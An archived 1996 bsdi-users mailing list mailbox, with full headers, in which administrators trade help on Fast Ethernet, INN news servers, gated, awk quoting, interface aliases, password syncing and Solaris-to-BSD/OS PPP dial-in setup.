Subject: Re: 100BaseTX Fast Ethernet On BSDI 2.0 Date: Tue, 26 Nov 1996 10:33:50 -0500 (EST) I agree. Most people just need to go spend a $1G or so and get a tigerswitch or something to switch their networks instead of hub'ing them. the 24 port tigerswitch is like $1200 on the market these days. Nothing fancy, remove hub, turn on switch, plug in jacks. no more congestion.. Mind you a 24 port 100 megabit hub would be like $20,000. Do you really need 100 megabit because collisions occur just as often on 100 megabit it seems. On Tue, 26 Nov 1996, Neil J. McRae wrote: > On Tue, 26 Nov 1996 05:57:04 -0500 (EST) > Joe Hohertz wrote: > > > Simply put, can it be done? > > > > We want to migrate our network to 100BaseTX sometime in the near future, an > > d we > > have a mixture of BSDI 2.0, and 2.1 systems. I know that 2.1 supports sever > > al > > fast ether cards, but my manual for 2.0 lists none? > > > > Anyone been able to do this? With what hardware and how? > > > Firstly why you want to use 100TX is questionable, but the > SMC 10/100 Etherpower works fine. > > I'll bet lots and lots of pounds that 90% of the people on this > list are running 100TX, when they don't need too. > > Neil. > -- > Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. > neil@DOMINO.ORG NetBSD/sparc: 100% SpF (Solaris protection Factor) > Free the daemon in your computer! > > From VM Tue Nov 26 22:55:15 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1049" "Tue" "26" "November" "1996" "11:33:02" "-0500" "Jason Lixfeld" "carrera@idirect.com" nil "45" "Re: Installing BSD/OS from panasonic CDROM" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA06563 for ; Tue, 26 Nov 1996 12:01:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA17371 for bsdi-users-outgoing; Tue, 26 Nov 1996 11:50:45 -0500 (EST) X-Authentication-Warning: hometown.idirect.com: carrera owned process doing -bs In-Reply-To: <2.2.32.19961126162141.006d183c@rockisland.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jason Lixfeld Sender: owner-bsdi-users@lists.gateway.com To: Mike Greene cc: bsdi-users@BSDI.COM Subject: Re: Installing BSD/OS from panasonic CDROM Date: Tue, 26 Nov 1996 11:33:02 -0500 (EST) But I have no partitioned drive to save the file on! I guess I will have to un-write protect the boot floppy (I am attempting to install BSD/OS). On Tue, 26 Nov 1996, Mike Greene wrote: > At 12:45 AM 11/26/96 -0500, you wrote: > >Impossible, the screen cycles too fast, and I can't get enough time to > >write everything down. > > Just to jump in here for this one thing... > > at your prompt, type: dmesg | more > > This will show you the boot up device listing, > > If you type dmesg > devices.txt > > You have just created a text file with the boot info in it. > > - Mike > ____________________________________________________ > Mike Greene (mikeg@rockisland.com) / Internic (MG42) > Rock Island Internet / Office Ph. 360.378.5884 > > Regards, Jason A. Lixfeld -=- IDBS Administration System Administrator Client Services Representative Systems Liason -=- Internet Direct o/a ComputerLink Online Inc. 5415 Dundas Street West Suite 301 Etobicoke, ON M9B 1B5 CANADA [416] 233.7150 {V} [416] 233.6970 {F} -=- carrera@idirect.com From VM Tue Nov 26 22:55:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["524" "Tue" "26" "November" "1996" "08:21:41" "-0800" "Mike Greene" "mikeg@rockisland.com" nil "19" "Re: Installing BSD/OS from panasonic CDROM" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA06839 for ; Tue, 26 Nov 1996 12:16:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA17431 for bsdi-users-outgoing; Tue, 26 Nov 1996 12:13:35 -0500 (EST) Message-Id: <2.2.32.19961126162141.006d183c@rockisland.com> X-Sender: mikeg@rockisland.com X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Mike Greene Sender: owner-bsdi-users@lists.gateway.com To: Jason Lixfeld Cc: bsdi-users@BSDI.COM Subject: Re: Installing BSD/OS from panasonic CDROM Date: Tue, 26 Nov 1996 08:21:41 -0800 At 12:45 AM 11/26/96 -0500, you wrote: >Impossible, the screen cycles too fast, and I can't get enough time to >write everything down. Just to jump in here for this one thing... at your prompt, type: dmesg | more This will show you the boot up device listing, If you type dmesg > devices.txt You have just created a text file with the boot info in it. - Mike ____________________________________________________ Mike Greene (mikeg@rockisland.com) / Internic (MG42) Rock Island Internet / Office Ph. 360.378.5884 From VM Tue Nov 26 22:55:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1592" "Tue" "26" "November" "1996" "18:12:29" "+0100" "david@isdnet.net" "david@isdnet.net" nil "36" "Re: INN misc. (was Re: Inn: articles no longer in history file)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA07118 for ; Tue, 26 Nov 1996 12:22:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA17502 for bsdi-users-outgoing; Tue, 26 Nov 1996 12:17:29 -0500 (EST) Message-Id: <199611261712.SAA24872@emma.isdnet.net> In-Reply-To: <199611260841.JAA16914@velo.pp.vix.com> from "James A. Brister" at Nov 26, 96 09:41:22 am X-NCC-RegID: fr.isdnet X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: david@isdnet.net Sender: owner-bsdi-users@lists.gateway.com To: brister@vix.com (James A. Brister) Cc: david@isdnet.net, blast@broder.com, bsdi-users@BSDI.COM Subject: Re: INN misc. (was Re: Inn: articles no longer in history file) Date: Tue, 26 Nov 1996 18:12:29 +0100 (MET) > On Tue, 26 Nov 1996 02:15:42 +0100 (MET), david@isdnet.net said: > > > I was almost happy with it, until I discovered that my main news server seems > > unable to feed at full speed and easily my news server 2, over Ethernet. > > (both are 128MB memory, 2940UW SCSI, 2Gb for history, 4GB for alt.binaries, > > 4GB for all other groups). > > Ethernet is almost never the problem. The only time it has been is in > certain Solaris machines that have ethernet driver bugs. 9 times out of 10 > disk I/O is the bottle neck. RAM is second ('cause a lack of it impacts on > paging and swappin). How many hard disks do you have and what things (swap, > articles, history, overview) are on them? You really want to have one set > of disks just for articles, another just for overview and another for > history and active. Partitioning a big disk is not the answer -- you want > separate spindles. I have 3 HD on each host: a 2GB and 2 4GB (all Quantum Atlas). 2GB is for /usr (so history file). 4GB for alt.binaries 4GB for what's left. I have no overview as far as I know. In fact I wasn't able to find any detailed infos about what is overview to be able to decide if I need this. But I noticed that if I try to launch 'news.daily delayrm', expireover is launched before 'fastrm' although I don't use the expireover arg. Tell me if I am wrong, or if I missed sthg somewhere. I'd really like to be able to solve definitely those news servers' problems. TIA. -- -- David Ponzone - ISDnet - Network Administrator -- Pager: 06 06 41 82 45 Cell: 06 60 61 21 63 Email: david@isdnet.net From VM Tue Nov 26 22:55:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1349" "Tue" "26" "November" "1996" "12:12:00" "EST" "Richard Noel" "richard.noel@wang.com" nil "41" "martians in gated.conf" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA07124 for ; Tue, 26 Nov 1996 12:24:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA17492 for bsdi-users-outgoing; Tue, 26 Nov 1996 12:17:13 -0500 (EST) Message-ID: <329B252C@SMTPGTWY.WANG.COM> X-Mailer: Microsoft Mail V3.0 Precedence: bulk From: "Noel, Richard" Sender: owner-bsdi-users@lists.gateway.com To: "'bsdi-users@gateway.com'" Subject: martians in gated.conf Date: Tue, 26 Nov 96 12:12:00 EST Hello, I'm having a problem using the martians definition statement. The goal is to ignore the route for a certain subnet being presented to my BSD/OS (2.0.1) server via rip updates. When I add the martians def (as the first non-commented line in gated.conf) and issue a SIGHUP, the following msgs are logged: Nov 26 11:14:05 tuna gated[20407]: task_reconfigure re-initializing from /etc/gated.conf Nov 26 11:14:05 tuna gated[20407]: task_reconfigure 4 of 27 adv_entry elements not freed Nov 26 11:14:05 tuna gated[20407]: parse: gated.conf:26 statement out of order at 'interfaces' (268) length 10 Nov 26 11:14:05 tuna gated[20407]: parse: gated.conf:28 syntax error Nov 26 11:14:05 tuna gated[20407]: parse_parse: 3 parse errors Nov 26 11:14:05 tuna gated[20407]: Exit gated[20407] version R3_5Alpha_9 Without the martians def, gated works fine. I've configured martians as follows: martians { nnn.nn.nnn.0 ; (tried using the mask arg as well) } ; Interface def is as follows: interfaces { interface all passive ; } ; Apparently there is something wrong with the interfaces def, but only when martians is also configured. Could someone pls point out the error ? In the meantime, I've worked around the problem by adding a "static" entry for the subnet but I dislike using static routers. Thanks, Richard noel@wang.com From VM Tue Nov 26 22:55:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["678" "Tue" "26" "November" "1996" "10:27:45" "-0800" "Drew Gainor" "dgainor@fia.net" nil "26" "awk help" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA07417 for ; Tue, 26 Nov 1996 12:40:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA17545 for bsdi-users-outgoing; Tue, 26 Nov 1996 12:28:33 -0500 (EST) Message-ID: <01BBDB84.77F17720@fifc19.fia.net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Precedence: bulk From: Drew Gainor Sender: owner-bsdi-users@lists.gateway.com To: "'BSDI-USERS'" Subject: awk help Date: Tue, 26 Nov 1996 10:27:45 -0800 I am writing a script in CShell to insert a line in alphebetically in = the middle of a file and am having problems passing a variable to awk. awk '$2 < gotohere' filename works fine but I want to replace goto here with a variable. ----------------------------------------------- set gotohere =3D variable awk '$2 < $gotohere' filename Doesn't work ----------------------------------------------- setenv gotohere=3Dvariable awk '$2 < environ["gotohere"]' filename Should work but I can't figure out the right syntax. ----------------------------------------------- Can anyone help me with this? Drew Gainor dgainor@fia.net System Engineer First Internet Franchise Corp. From VM Tue Nov 26 22:55:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["176" "Tue" "26" "November" "1996" "10:42:39" "-0800" "Drew Gainor" "dgainor@fia.net" nil "11" "ftp rights" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA07692 for ; Tue, 26 Nov 1996 12:50:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA17587 for bsdi-users-outgoing; Tue, 26 Nov 1996 12:42:48 -0500 (EST) Message-ID: <01BBDB86.8CB9AD60@fifc19.fia.net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: Drew Gainor Sender: owner-bsdi-users@lists.gateway.com To: "'BSDI-USERS'" Subject: ftp rights Date: Tue, 26 Nov 1996 10:42:39 -0800 Is there a way to set the default rights for my virtual domain customers? Something like umask? Drew Gainor dgainor@fia.net System Engineer First Internet Franchise Corp. From VM Tue Nov 26 22:55:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["834" "Tue" "26" "November" "1996" "09:39:45" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "22" "Re: multiple network addresses on single interface" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA07964 for ; Tue, 26 Nov 1996 12:55:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA17604 for bsdi-users-outgoing; Tue, 26 Nov 1996 12:44:50 -0500 (EST) Message-Id: <199611261739.JAA00462@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, sstennes@perigee.com Subject: Re: multiple network addresses on single interface Date: Tue, 26 Nov 1996 09:39:45 -0800 (PST) > > For any number of reasons, I need to have more than one address on an > ethernet port. The sticking point is that the addresses must be on > different subnets. > > I have tried playing around with ifconfig alias etc. and have managed to > get to the point where I can ping both addresses (probably because a > netstat -nr shows that the aliased address uses 1127.0.0.1 (lo0) not > LINK#1 (de0) as I would expect). > > Can someone please help? > One thing that might not be obvious is that you MUST specify the netmask on the ifconfig line if you want the alias to work properly. Without doing that I've had many problems. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Tue Nov 26 22:55:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["906" "Tue" "26" "November" "1996" "13:01:29" "-0500" "Lee Butler" "butler@hawks.ha.md.us" nil "24" "Re: Keeping files in sync on multiple hosts" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA08514 for ; Tue, 26 Nov 1996 13:14:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA17685 for bsdi-users-outgoing; Tue, 26 Nov 1996 13:02:22 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Lee Butler Sender: owner-bsdi-users@lists.gateway.com To: Stephen Fisher cc: bsdi-users@BSDI.COM Subject: Re: Keeping files in sync on multiple hosts Date: Tue, 26 Nov 1996 13:01:29 -0500 (EST) On Sun, 24 Nov 1996, Stephen Fisher wrote: > > I know this has been asked before and some what answered...but I am > wondering how I can: ... > It seems like NIS would be a good solution for this but BSDI doesn't > support it :( It sounds like what you really want is a uniform password space. If this is the case then I highly recommend kerberos. Preferably Kerberos V. Don't wish for NIS. It is one of the biggest security nightmares on the planet today. Kerberos also supports some nice layered capabilities like encrypted rlogin/rcp. Lee Butler butler@hawks.ha.md.us As nightfall does not come at once, neither does oppression. In both instances, there is a twilight when everything remains seemingly unchanged. And it is in such twilight that we all must be most aware of change in the air--however slight--lest we become unwitting victims of the darkness. --- Justice William O. Douglas From VM Tue Nov 26 22:55:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["70" "Tue" "26" "November" "1996" "11:32:00" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "4" "INND blocking of newsgroups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA08810 for ; Tue, 26 Nov 1996 13:27:47 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA17729 for bsdi-users-outgoing; Tue, 26 Nov 1996 13:20:05 -0500 (EST) Message-Id: <199611261832.LAA01974@doctor.nl2k.edmonton.ab.ca> X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: INND blocking of newsgroups Date: Tue, 26 Nov 1996 11:32:00 -0700 (MST) Question: how can one block incoming groups that one does NOT want? From VM Tue Nov 26 22:55:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["750" "Tue" "26" "November" "1996" "10:38:14" "-0800" "trav@daroot.comptec.com" "trav@daroot.comptec.com" nil "24" "NFS vs rdist?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA09635 for ; Tue, 26 Nov 1996 13:54:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA17791 for bsdi-users-outgoing; Tue, 26 Nov 1996 13:38:20 -0500 (EST) Message-Id: <3.0.32.19961126103814.006afcd8@pop.comptec.com> X-Sender: trav@pop.comptec.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Travis Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: NFS vs rdist? Date: Tue, 26 Nov 1996 10:38:14 -0800 We've got 4 bsdi boxes setup. Here is a small break down 1. login verification, email, user web services... 2. News 3. Comerical web services.... 4. some stupid terminal server we made... ok now we want to be able to login to any of these at anytime. I've heard rdist works well for disturting the passwd file. But what if we mounted (NFS) the main one for login verification on all the other machanies and link the passwd files. Is this safe? stupid? brilliant? Yes I know if the login machanie went down then the others would too. So thats a minis... Would there be anyother major problems doing this? Thanks Travis Lytle Comptech Internet Services 8793 Plata Lane Suite H Atascadero CA 93422 466-7048 http://www.comptec.com From VM Tue Nov 26 22:55:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1814" "Tue" "26" "November" "1996" "10:40:58" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "57" "Re: 100BaseTX Fast Ethernet On BSDI 2.0 " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA09639 for ; Tue, 26 Nov 1996 13:58:55 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA17803 for bsdi-users-outgoing; Tue, 26 Nov 1996 13:41:50 -0500 (EST) Message-Id: <3.0.1.32.19961126103828.00a087b0@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Sam Brown Cc: "Neil J. McRae" , Joe Hohertz , bsdi-users@BSDI.COM Subject: Re: 100BaseTX Fast Ethernet On BSDI 2.0 Date: Tue, 26 Nov 1996 10:40:58 -0800 I concur that switches can be used in place of hubs with great improvement in overall performance. I like to hook up my servers at 100Mbit tho, and have all of the users talk to them at 10Mbit (with a few heavy hitter excepted). This makes for a nice clean installation. Of course, it all takes serious bucks to do. Just my $.02 -Kent- At 10:33 AM 11/26/96 -0500, Sam Brown wrote: >I agree. Most people just need to go spend a $1G or so and get a >tigerswitch or something to switch their networks instead of hub'ing them. >the 24 port tigerswitch is like $1200 on the market these days. Nothing >fancy, remove hub, turn on switch, plug in jacks. no more congestion.. >Mind you a 24 port 100 megabit hub would be like $20,000. Do you really >need 100 megabit because collisions occur just as often on 100 megabit it >seems. > > >On Tue, 26 Nov 1996, Neil J. McRae wrote: > >> On Tue, 26 Nov 1996 05:57:04 -0500 (EST) >> Joe Hohertz wrote: >> >> > Simply put, can it be done? >> > >> > We want to migrate our network to 100BaseTX sometime in the near future, an >> > d we >> > have a mixture of BSDI 2.0, and 2.1 systems. I know that 2.1 supports sever >> > al >> > fast ether cards, but my manual for 2.0 lists none? >> > >> > Anyone been able to do this? With what hardware and how? >> > >> Firstly why you want to use 100TX is questionable, but the >> SMC 10/100 Etherpower works fine. >> >> I'll bet lots and lots of pounds that 90% of the people on this >> list are running 100TX, when they don't need too. >> >> Neil. >> -- >> Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. >> neil@DOMINO.ORG NetBSD/sparc: 100% SpF (Solaris protection Factor) >> Free the daemon in your computer! >> >> > > > From VM Tue Nov 26 22:55:33 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1262" "Tue" "26" "November" "1996" "10:54:56" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "40" "Re: awk help" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA09912 for ; Tue, 26 Nov 1996 14:03:56 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA17864 for bsdi-users-outgoing; Tue, 26 Nov 1996 14:00:01 -0500 (EST) Message-Id: <199611261854.KAA00686@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, dgainor@fia.net Subject: Re: awk help Date: Tue, 26 Nov 1996 10:54:56 -0800 (PST) > > I am writing a script in CShell to insert a line in alphebetically in = > the middle of a file and am having problems passing a variable to awk. > > awk '$2 < gotohere' filename > > works fine but I want to replace goto here with a variable. > ----------------------------------------------- > set gotohere =3D variable > awk '$2 < $gotohere' filename > > Doesn't work If you change the quotes it will work, e.g. awk "\$2 < $gotohere" filename (note that you need to quote the $2 since otherwise you'll get the shell's $2 instead of awk's. > ----------------------------------------------- > setenv gotohere=3Dvariable > awk '$2 < environ["gotohere"]' filename > > Should work but I can't figure out the right syntax. > ----------------------------------------------- You can define an awk variable by assigning it, e.g. awk '$2 < gotohere' gotohere=$gotohere filename the key thing is to make sure that you specify piped input as - and do that AFTER the variable assignment: awk '$2 < gotohere' gotohere=$gotohere - (assuming input was from standard input). Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Tue Nov 26 22:55:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3175" "Tue" "26" "November" "1996" "21:02:23" "+0200" "Mihails Nikitins" "nikitins@infoservriga.lv" nil "134" "PPP problem: Solaris 2.4. -> BSD/OS 2.0.1. (URGENT)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA10198 for ; Tue, 26 Nov 1996 14:15:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA17856 for bsdi-users-outgoing; Tue, 26 Nov 1996 13:59:40 -0500 (EST) Message-ID: <329B3EBF.3456@infoservriga.lv> Organization: Infoserv-Riga Ltd. X-Mailer: Mozilla 3.0Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Mihails Nikitins Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: PPP problem: Solaris 2.4. -> BSD/OS 2.0.1. (URGENT) Date: Tue, 26 Nov 1996 21:02:23 +0200 Dear bsdi-users, I got people who want to dial in my BSD/OS 2.01. box from their Sparc running Solaris 2.4. I tried to connect them using the same PPP settings technology that I use for PC users. Unfortunately, my frontal attack failed. As I saw in the list archive, there are some compatibility problems connecting these two platforms. Neither my users, nor I are SUN experts, but I should connect them AS SOON AS POSSIBLE. I'm sure someone has already faced this problem. THANK YOU IN ADVANCE FOR ANY HELP!!! *************************** DETAILS *********************************** 1. On BSD/OS server side Connection fails with the message: Pigk: PPPIOCIPWBOS failed on ppp /etc/ppp.sys ------------ Dialinigk:\ :di:\ :lu=/etc/netscripts/Dialin.up.simple:\ :li=/etc/netscripts/Dialin.login.simple.igk:\ :ld=/etc/netscripts/Dialin.down.simple: Pigk:tc=Dialinigk: /etc/netscripts/Dialin.up.simple -------------------------------- # Dialin.up.simple by M.Nikitins PATH=/sbin:/usr/sbin:/bin:/usr/bin SYSTEM=$1 # System INTERFACE=$2 # Interface LOCAL=$3 # Local address REMOTE=$4 # Remote address #get ethernet card address ETHER=$(/etc/netscripts/myether $LOCAL) #remove old arp entry. # The command may be obsolete, because Dialin.login.simple contains # "route delete $REMOTE" that clears arp entry arp -d $REMOTE #Publish arp entry arp -s $REMOTE $ETHER pub exit 0 /etc/netscripts/Dialin.login.simple.igk --------------------------------------- #!/bin/sh # Dialin.login.simple script by M.Nikitins. PATH=/sbin:/usr/sbin:/bin:/usr/bin SYSTEM=$1 INTERFACE=$2 LOCAL="111.112.113.1" LOG="/var/log/my.ppplog" # Choose IP address for the dialed in user REMOTE="111.112.113.199" echo "`date` $SYSTEM on $INTERFACE started" >> $LOG # I should clear arp table, otherwise it can cause a failure route delete $REMOTE # For more safety, don't know if it's necessary ifconfig $INTERFACE -alias $LOCAL down ifconfig $INTERFACE inet $LOCAL $REMOTE netmask 255.255.255.0 up && exit 0 echo "IFCONFIG FAILED!" >> $LOG netstat -ni >> $LOG netstat -r >> $LOG exit 1 ******** 2. On Solaris 2.4 side Solaris connects BSD/OS, answers login name and password. However, PPP negotiation fails. process_ppp_msg: PPP_ERROR_IND call cleanup(0) Maximum number of configure requests exceeded. Configuration files are as follows: /etc/asppp.cf ------------- ifconfig ipdptp0 111.112.113.199 111.112.113.1 up path interface ipdptp0 peer_system_name P-server inactivity_timeout 9000 debug_level 5 /etc/uucp/Systems ----------------- P-server Any ACU 19200 1234567 gin:Pigk word:sdjdds **************************************************** THANK YOU AGAIN! Best regards, Mihails Nikitins ======================================================== Infoserv-Riga Ltd. Phone: +371-2-558439 14, Dzerbenes Str. Fax: +371-7828211 Riga, LV-1006 e-mail: nikitins@infoservriga.lv Latvia http://www.infoservriga.lv ======================================================== From VM Tue Nov 26 22:55:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1340" "Tue" "26" "November" "1996" "20:15:06" "+0100" "James A. Brister" "brister@vix.com" nil "39" "Re: INN misc. (was Re: Inn: articles no longer in history file) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA10490 for ; Tue, 26 Nov 1996 14:30:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA17908 for bsdi-users-outgoing; Tue, 26 Nov 1996 14:16:26 -0500 (EST) Message-Id: <199611261915.UAA21906@velo.pp.vix.com> In-Reply-To: Your message of "Tue, 26 Nov 1996 18:12:29 +0100 (MET) " <199611261712.SAA24872@emma.isdnet.net> Organization: Internet Software Consortium Precedence: bulk From: brister@vix.com (James A. Brister) Sender: owner-bsdi-users@lists.gateway.com To: david@isdnet.net Cc: blast@broder.com, bsdi-users@BSDI.COM Subject: Re: INN misc. (was Re: Inn: articles no longer in history file) Date: Tue, 26 Nov 1996 20:15:06 +0100 On Tue, 26 Nov 1996 18:12:29 +0100 (MET), david@isdnet.net said: > I have 3 HD on each host: a 2GB and 2 4GB (all Quantum Atlas). > 2GB is for /usr (so history file). That is probably impacting performance. > 4GB for alt.binaries > 4GB for what's left. > I have no overview as far as I know. The sample newsfeeds file from a bsd/os 2.1 machine I just looked at didn't have an entry for it. Using overview takes up a fair bit of disk space (an extra 10% I think), but it also reduces the load on your system if you have lots of readers (also makes response better for the readers). I recommend you add overview, but run it on its own disk, or at least away from the article spool. The FAQ ftp.xlink.net:/pub/news/docs has a cookbook example of setting it up Subject: (4.19) Cookbook example of setting up NOV ("overchan"). I highly recommend you read the entire FAQ and the Install.ms document in the INN source pool. > I'd really like to be able to solve definitely those news servers' problems. There is no "defintely" in Usenet. Things eventually break when (for example) some bozo decides to spam a pirated copy of Windows95 to the net and your spool finally fills up. James -- James Brister brister@vix.com Internet Software Consortium inn@isc.org From VM Tue Nov 26 22:55:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["527" "Tue" "26" "November" "1996" "22:26:32" "+0200" "Mihails Nikitins" "nikitins@infoservriga.lv" nil "20" "PPP problem: Solaris 2.4. -> BSD/OS 2.0.1. #2 A Correction" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA12151 for ; Tue, 26 Nov 1996 15:31:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id PAA18064 for bsdi-users-outgoing; Tue, 26 Nov 1996 15:23:46 -0500 (EST) Message-ID: <329B5278.456D@infoservriga.lv> Organization: Infoserv-Riga Ltd. X-Mailer: Mozilla 3.0Gold (Win95; I) MIME-Version: 1.0 Newsgroups: comp.unix.solaris,comp.unix.bsd.bsdi.misc Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Mihails Nikitins Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: PPP problem: Solaris 2.4. -> BSD/OS 2.0.1. #2 A Correction Date: Tue, 26 Nov 1996 22:26:32 +0200 Hi again, I do apologize. There was a significant error in my first posting: Please read ifconfig ipdptp0 plumb 111.112.113.199 111.112.113.1 up instead of ifconfig ipdptp0 111.112.113.199 111.112.113.1 up Sorry. :( Regards, Mihails Nikitins ======================================================== Infoserv-Riga Ltd. Phone: +371-2-558439 14, Dzerbenes Str. Fax: +371-7828211 Riga, LV-1006 e-mail: nikitins@infoservriga.lv Latvia http://www.infoservriga.lv ======================================================== From VM Tue Nov 26 22:55:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["563" "Tue" "26" 